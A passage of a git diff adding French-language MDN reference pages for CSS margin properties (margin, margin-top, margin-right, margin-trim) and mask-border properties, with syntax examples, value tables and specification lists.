+margin-right: 5%;          /* Une marge relative à la largeur
+                           du bloc englobant */
+
+/* Valeur avec un mot-clé */
+margin-right: auto;
+
+/* Valeurs globales */
+margin-right: inherit;
+margin-right: initial;
+margin-right: unset;
+</pre>
+
+<p>La valeur de cette propriété peut être le mot-clé <code>auto</code>, une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur fixe, du type {{cssxref("&lt;length&gt;")}} : elle peut être exprimée en pixels (<code>px</code>) ou en fonction de la taille du texte (<code>em</code>) ou être relative à la taille de la zone d'affichage (<em>viewport</em>) (<code>vh</code>).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur exprimée en pourcentage (type {{cssxref("&lt;percentage&gt;")}} relative à la largeur du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la marge droite s'adapte à l'espace restant. Cet espace est principalement défini par le mode de disposition utilisé.L'espace calculé sera réparti de façon équitable entre la marge droite et la marge gauche si celle-ci vaut également <code>auto</code>. Le tableau suivant précise les différents cas :
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Valeur de {{cssxref("display")}}</th>
+    <th scope="col">Valeur de {{cssxref("float")}}</th>
+    <th scope="col">Valeur de {{cssxref("position")}}</th>
+    <th scope="col">Valeur calculée pour <code>auto</code></th>
+    <th scope="col">Commentaires</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><code>static</code> ou <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Disposition en ligne</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><code>static</code> ou <code>relative</code></th>
+    <td><code>0</code> sauf si <code>margin-left</code> et <code>margin-right</code> valent <code>auto</code>. Dans ce cas, la valeur utilisée sera celle qui permet de centrer l'élément au sein de l'élément parent.</td>
+    <td>Disposition en bloc</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><code>left</code> ou <code>right</code></th>
+    <th><code>static</code> ou <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Disposition en bloc avec les éléments flottants</td>
+   </tr>
+   <tr>
+    <th><em>n'importe quelle </em><code>table-*</code><em> sauf </em><code>table-caption</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><em>n'importe laquelle</em></th>
+    <td><code>0</code></td>
+    <td>Les éléments <code>table-*</code> n'ont pas de marge, il faut utiliser {{cssxref("border-spacing")}} à la place.</td>
+   </tr>
+   <tr>
+    <th><em>ni'mporte quelle autre sauf <code>flex</code>,</em> <code>inline-flex</code><em> ou </em><code>table-*</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><em><code>fixed</code></em> ou <code>absolute</code></th>
+    <td><code>0</code> sauf si <code>margin-left</code> et <code>margin-right</code> valent <code>auto</code>. Dans ce cas, la valeur utilisée sera celle qui permet de centrer la boîte de bordure dans la zone de largeur disponible si elle fixée.</td>
+    <td>Positionnement absolu.</td>
+   </tr>
+   <tr>
+    <th><code>flex</code>, <code>inline-flex</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><em>n'importe laquelle</em></th>
+    <td><code>0</code>, sauf s'il reste de l'espace horizontal libre. Dans ce cas, l'espace restant sera distribué de façon équitable entre toutes les marges avec <code>auto</code>.</td>
+    <td>Boîtes flexibles.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  margin-right: 50%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Un grand rosier se trouvait à l’entrée du jardin ;
+   les roses qu’il portait étaient blanches, mais
+   trois jardiniers étaient en train de les peindre
+   en rouge.
+&lt;/p&gt;
+&lt;p class=exemple&gt;
+  Alice s’avança pour les regarder, et, au moment où
+  elle approchait, elle en entendit un qui disait :
+  « Fais donc attention, Cinq, et ne m’éclabousse pas
+  ainsi avec ta peinture. »
+&lt;/p&gt;
+&lt;p&gt;
+  « Ce n’est pas de ma faute, » dit Cinq d’un ton
+  bourru, « c’est Sept qui m’a poussé le coude. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-right')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Pas de changement significatif.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-right')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>margin-right</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-right')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Le comportement de <code>margin-right</code> est défini sur les éléments flexibles.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>L'effet sur les éléments en ligne (<em>inline</em>) est retiré.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-right', 'margin-right')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-right")}}</p>
diff --git a/files/fr/web/css/margin-top/index.html b/files/fr/web/css/margin-top/index.html
new file mode 100644
index 0000000000..01d930ef85
--- /dev/null
+++ b/files/fr/web/css/margin-top/index.html
@@ -0,0 +1,125 @@
+---
+title: margin-top
+slug: Web/CSS/margin-top
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-top
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>margin-top</code></strong> définit l'espace vertical pour la marge appliquée en haut de l'élément. Une valeur négative peut être utilisée.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-top.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété n'a aucun effet sur les éléments non-remplacés en ligne (<em>inline</em>) tels que {{HTMLElement("tt")}} ou {{HTMLElement("span")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+margin-top: 10px;  /* Une longueur absolue */
+margin-top: 1em;   /* Une longueur proportionnelle à la taille du texte */
+margin-top: 5%;    /* Une marge relative à la largeur */
+                   /* du bloc englobant le plus proche */
+
+/* Valeur avec un mot-clé */
+margin-top: auto;
+
+/* Valeurs globales */
+margin-top: inherit;
+margin-top: initial;
+margin-top: unset;
+</pre>
+
+<p>Le mot-clé <code>auto</code> ou une valeur de longueur (<code>&lt;length&gt;</code>) ou de pourcentage (<code>&lt;percentage&gt;</code>).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Cette valeur définit une largeur fixée. Pour les valeurs qui peuvent être utilisées, voir la page sur le type {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur en pourcentage (type {{cssxref("&lt;percentage&gt;")}} qui est relative à la <strong>largeur</strong> du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Voir {{cssxref("margin")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: blue;
+  background-clip: border-box;
+  width: 50px;
+  height: 2em;
+}
+.exemple {
+  margin-top: 3em;
+  background-color: gold;
+  background-clip: border-box;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;&lt;/div&gt;
+&lt;p class=exemple&gt;
+  C’est ce qui arriva en effet, et bien plus tôt
+  qu’elle ne s’y attendait. Elle n’avait pas bu
+  la moitié de la bouteille, que sa tête touchait
+  au plafond et qu’elle fut forcée de se baisser
+  pour ne pas se casser le cou.&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-top')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucun changement significatif</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-top')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>margin-top</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>L'effet sur les éléments en ligne (<em>inline</em>) est retiré.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-top', 'margin-top')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-top")}}</p>
diff --git a/files/fr/web/css/margin-trim/index.html b/files/fr/web/css/margin-trim/index.html
new file mode 100644
index 0000000000..1cff4f496c
--- /dev/null
+++ b/files/fr/web/css/margin-trim/index.html
@@ -0,0 +1,66 @@
+---
+title: margin-trim
+slug: Web/CSS/margin-trim
+tags:
+  - CSS
+  - Draft
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-trim
+---
+<div>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>margin-trim</code></strong> permet à un conteneur de rogner les marges de ses éléments enfants qui sont adjacentes aux bords du conteneur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Les marges ne sont pas rognées par le conteneur.</dd>
+ <dt><code>in-flow</code></dt>
+ <dd>
+ <p>Pour les boîtes du conteneur et qui sont dans le flux, les marges sur l'axe de bloc et qui sont adjacentes aux bords du conteneur sont tronquées.</p>
+
+ <p>Les marges fusionnées avec de telles marges sont également tronquées.</p>
+ </dd>
+ <dt><code>all</code></dt>
+ <dd>Les marges des boîtes qui sont dans le flux et des boîtes flottantes coincidant avec le bord du conteneur sont tronquées.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>État</th>
+   <th>Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box", "#margin-trim", "margin-trim")}}</td>
+   <td>{{Spec2("CSS3 Box")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.margin-trim")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("margin")}}</li>
+</ul>
diff --git a/files/fr/web/css/margin/index.html b/files/fr/web/css/margin/index.html
new file mode 100644
index 0000000000..867ce5d592
--- /dev/null
+++ b/files/fr/web/css/margin/index.html
@@ -0,0 +1,187 @@
+---
+title: margin
+slug: Web/CSS/margin
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>margin</code></strong> définit la taille des marges sur les quatre côtés de l'élément. C'est une propriété raccourcie qui permet de manipuler les autres propriétés de marges : {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}}.</p>
+
+<p>Il est possible d'utiliser des valeurs négatives pour chacun des côtés.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les marges haute et basse n'ont aucun effet sur les élements en ligne (<em>inline</em>) qui ne sont pas <a href="/fr/docs/Web/CSS/%C3%89l%C3%A9ment_remplac%C3%A9">remplacés</a> (par exemple les {{HTMLElement("span")}} ou {{HTMLElement("code")}}).</p>
+
+<div class="note">
+<p><strong>Note : </strong>Les marges créent un espace supplémentaire à l'extérieur de l'élément. Le <em>« remplissage »</em> ({{cssxref("padding")}}) permet quant à lui de créer un espace supplémentaire à l'intérieur de l'élément.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* La propriété s'applique aux quatre côtés */
+margin: 1em;
+
+/* vertical | horizontal */
+margin: 5% auto;
+
+/* haut | horizontal | bas */
+margin: 1em auto 2em;
+
+/* haut | droit | bas | gauche */
+margin: 2px 1em 0 auto;
+
+/* Valeurs globales */
+margin: inherit;
+margin: initial;
+margin: unset;
+</pre>
+
+<p>La propriété <code>margin</code> peut être définie grâce à une, deux, trois ou quatre valeurs. Chaque valeur est une valeur de type {{cssxref("&lt;length&gt;")}} ou de type {{cssxref("&lt;percentage&gt;")}} ou est le mot-clé <code><a href="#auto">auto</a></code>. Les valeurs négatives permette de dessiner l'élément plus près de ses voisins que ne l'aurait permis la valeur par défaut.</p>
+
+<ul>
+ <li>Avec <strong>une</strong> valeur, celle-ci définira la marge pour les quatre côtés de la boîte</li>
+ <li>Avec <strong>deux</strong> valeurs, la première s'appliquera aux côtés haut et bas et la seconde aux côtés gauche et droit</li>
+ <li>Avec <strong>trois</strong> valeurs, la première s'appliquera au côté haut, la deuxième aux côtés gauche et droit et la troisième au côté bas</li>
+ <li>Avec <strong>quatre</strong> valeurs, la première s'appliquera en haut, la deuxième à droite, la troisième en bas et la quatrième à gauche (ce qui correspond au sens des aiguilles d'une montre - c'est plus facile à mémoriser).</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Cette propriété peut accepter une, deux, trois ou quatre valeurs avec les types suivants :</p>
+
+<dl>
+ <dt><a id="length" name="length"><code>&lt;length&gt;</code></a></dt>
+ <dd>La marge est définie avec une valeur absolue. On peut utiliser des valeurs négatives. Pour les différentes unités possibles, voir la page {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt><a id="percentage" name="percentage"><code>&lt;percentage&gt;</code></a></dt>
+ <dd>Une valeur relative, exprimée en pourcentage (type {{cssxref("&lt;percentage&gt;")}}, à la <strong>largeur</strong> du bloc englobant. On peut utiliser des valeurs négatives.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd><code>auto </code>est remplacé par une valeur adaptée (il peut être utilisé pour centrer les blocs, par exemple, <code>div { width:50%;  margin:0 auto; }</code> permet de centrer un conteneur <code>div</code> horizontalement).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight:[2,7]">.ex1 {
+  margin: auto;
+  background: gold;
+  width: 66%;
+}
+.ex2 {
+  margin: 20px 0px 0 -20px;
+  background: gold;
+  width: 66%;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="ex1"&gt;
+  margin:     auto;
+  background: gold;
+  width:      66%;
+&lt;/div&gt;
+&lt;div class="ex2"&gt;
+  margin:     20px 0px 0px -20px;
+  background: gold;
+  width:      66%;
+&lt;/div&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple')}}</p>
+
+<h3 id="Autres_exemples">Autres exemples</h3>
+
+<pre class="brush: css">margin: 5%;                /* tous les côtés avec une marge de 5% */
+margin: 10px;              /* tous les côtés avec une marge de 10px */
+
+margin: 1.6em 20px;        /* haut et bas à 1.6em     */
+                           /* gauche et droite à 20px */
+
+margin: 10px 3% 1em;       /* haut à 10px, gauche et droite à 3% */
+                           /* bas à 1em */
+
+margin: 10px 3px 30px 5px; /* haut à 10px, droite à 3px */
+                           /* bas à 30px, gauche à 5px  */
+
+margin: 1em auto;          /* marge de 1em en haut et en bas       */
+                           /* la boîte est centrée horizontalement */
+
+margin: auto;              /* boîte centrée horizontalement */
+                           /* marge nulle en haut et en bas */
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Centrer_horizontalement">Centrer horizontalement</h3>
+
+<p>Afin de centrer un élément horizontalement, avec un navigateur « moderne » on peut utiliser {{cssxref("display")}}<code>: flex; </code>{{cssxref("justify-content")}}<code>: center;</code>.</p>
+
+<p>Les anciens navigateurs comme IE8-9 ne gèrent pas ces valeurs. Aussi, il faudra utiliser <code>margin: 0 auto </code>pour centrer un élément au sein de son parent.</p>
+
+<h3 id="Fusion_des_marges">Fusion des marges</h3>
+
+<p>Les marges haute et basse des éléments sont parfois fusionnées en une seule marge qui est égale à la plus grande des deux marges. Pour plus d'informations, lire <a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges">l'article sur la fusion des marges</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#margin', 'margin')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucun changement significatif.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>margin</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Retrait de l'effet sur les éléments en ligne (<em>inline</em>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin', 'margin')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="internal" href="/fr/docs/Web/CSS/Fusion_des_marges">Fusion des marges</a></li>
+ <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">Le modèle de boîte CSS</a></li>
+ <li>{{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}}</li>
+</ul>
diff --git a/files/fr/web/css/mask-border-mode/index.html b/files/fr/web/css/mask-border-mode/index.html
new file mode 100644
index 0000000000..4b28d66c90
--- /dev/null
+++ b/files/fr/web/css/mask-border-mode/index.html
@@ -0,0 +1,63 @@
+---
+title: mask-border-mode
+slug: Web/CSS/mask-border-mode
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-border-mode
+---
+<div>{{cssref}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>mask-border-mode</code></strong> indique le mode de fusion utilisé pour <a href="/fr/docs/Web/CSS/mask-border">le masque de bordure</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+mask-border-mode: luminance;
+mask-border-mode: alpha;
+
+/* Valeurs globales */
+mask-border-mode: inherit;
+mask-border-mode: initial;
+mask-border-mode: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>luminance</code></dt>
+ <dd>Les valeurs de luminance proventant de l'image de masque sont utilisées pour le masque.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>Les valeurs du canal alpha proventant de l'image de masque sont utilisées pour le masque.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#propdef-mask-border-mode", "mask-border-mode")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>TBD</p>
diff --git a/files/fr/web/css/mask-border-outset/index.html b/files/fr/web/css/mask-border-outset/index.html
new file mode 100644
index 0000000000..336e8f8c4f
--- /dev/null
+++ b/files/fr/web/css/mask-border-outset/index.html
@@ -0,0 +1,85 @@
+---
+title: mask-border-outset
+slug: Web/CSS/mask-border-outset
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-border-outset
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>mask-border-outset</code></strong> indique la distance entre le <a href="/fr/docs/Web/CSS/mask-border">masque de la bordure</a> et la boîte de la bordure.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt; */
+mask-border-outset: 1rem;
+
+/* Valeur numérique */
+/* Type &lt;number&gt; */
+mask-border-outset: 1.5;
+
+/* Décalage vertical | horizontal */
+mask-border-outset: 1 1.2;
+
+/* haut | horizontal | bas */
+mask-border-outset: 30px 2 45px;
+
+/* haut | droit | bas | gauche */
+mask-border-outset: 7px 12px 14px 5px;
+
+/* Valeurs globales */
+mask-border-outset: inherit;
+mask-border-outset: initial;
+mask-border-outset: unset;
+</pre>
+
+<p>La propriété <code>mask-border-outset</code> peut être utilisée avec une, deux, trois ou quatre valeurs. Chaque valeur peut être de type {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;number&gt;")}}. Les valeurs négatives ne sont pas autorisées.</p>
+
+<ul>
+ <li>Si une seule valeur est utilisée, c'est ce décalage qui est utilisé pour chaque côté.</li>
+ <li>Lorsque deux valeurs sont utilisées, la première indique le décalage en haut et en bas et la seconde indique le décalage à gauche et à droite.</li>
+ <li>Lorsque trois valeurs sont utilisées, la première indique le décalage avec le côté haut, la deuxième avec le côté gauche et le côté droit et la troisième le décalage avec le côté bas.</li>
+ <li>Lorsque quatre valeurs sont indiquées, elles s'appliquent respectivement aux côtés haut, droit, bas et gauche (c'est-à-dire dans le sens des aiguilles d'une montre).</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>La distance, avec une dimension, pour le décalage du masque.</dd>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>Le décalage du masque, exprimé comme un multiple de {{cssxref("border-width")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#propdef-mask-border-outset", "mask-border-outset")}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatiblité_des_navigateurs">Compatiblité des navigateurs</h2>
+
+<p>TBD</p>
diff --git a/files/fr/web/css/mask-border-repeat/index.html b/files/fr/web/css/mask-border-repeat/index.html
new file mode 100644
index 0000000000..ac59c27850
--- /dev/null
+++ b/files/fr/web/css/mask-border-repeat/index.html
@@ -0,0 +1,79 @@
+---
+title: mask-border-repeat
+slug: Web/CSS/mask-border-repeat
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/mask-border-repeat
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété CSS <strong><code>mask-border-repeat</code></strong> indique la façon dont les régions du bord du <a href="/fr/docs/Web/CSS/mask-border">masque</a> sont ajustées pour correspondre aux dimensions de la bordure de l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+mask-border-repeat: stretch;
+mask-border-repeat: repeat;
+mask-border-repeat: round;
+mask-border-repeat: space;
+
+/* vertical | horizontal */
+mask-border-repeat: round stretch;
+
+/* Valeurs globales */
+mask-border-repeat: inherit;
+mask-border-repeat: initial;
+mask-border-repeat: unset;
+</pre>
+
+<p>La propriété <code>mask-border-repeat</code> peut être utilisée avec une ou deux valeurs parmi celles de la liste ci-après.</p>
+
+<ul>
+ <li>Lorsqu'une seule valeur est fournie, le même comportement est utilisé pour les quatre côtés.</li>
+ <li>Lorsque deux valeurs sont indiquées, la première valeur s'applique aux côtés haut et bas et la deuxième aux côtés gauche et droit.</li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>stretch</code></dt>
+ <dd>Les bords de l'image source sont étirés afin de remplir l'espace entre chaque bordure.</dd>
+ <dt><code>repeat</code></dt>
+ <dd>Les bords de l'image source sont répétés afin de remplir l'espace entre chaque bordure. Les fragments répétés peuvent être rognés afin que le remplissage soit exact.</dd>
+ <dt><code>round</code></dt>
+ <dd>Les bords de l'image source sont répétés afin de remplir l'espace entre chaque bordure. Les fragments peuvent être étirés afin que le remplissage soit exact.</dd>
+ <dt><code>space</code></dt>
+ <dd>Les bords de l'image source sont répétés afin de remplir l'espace entre chaque bordure. L'espace supplémentaire est réparti entre les fragments répétés pour que le remplissage soit exact.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
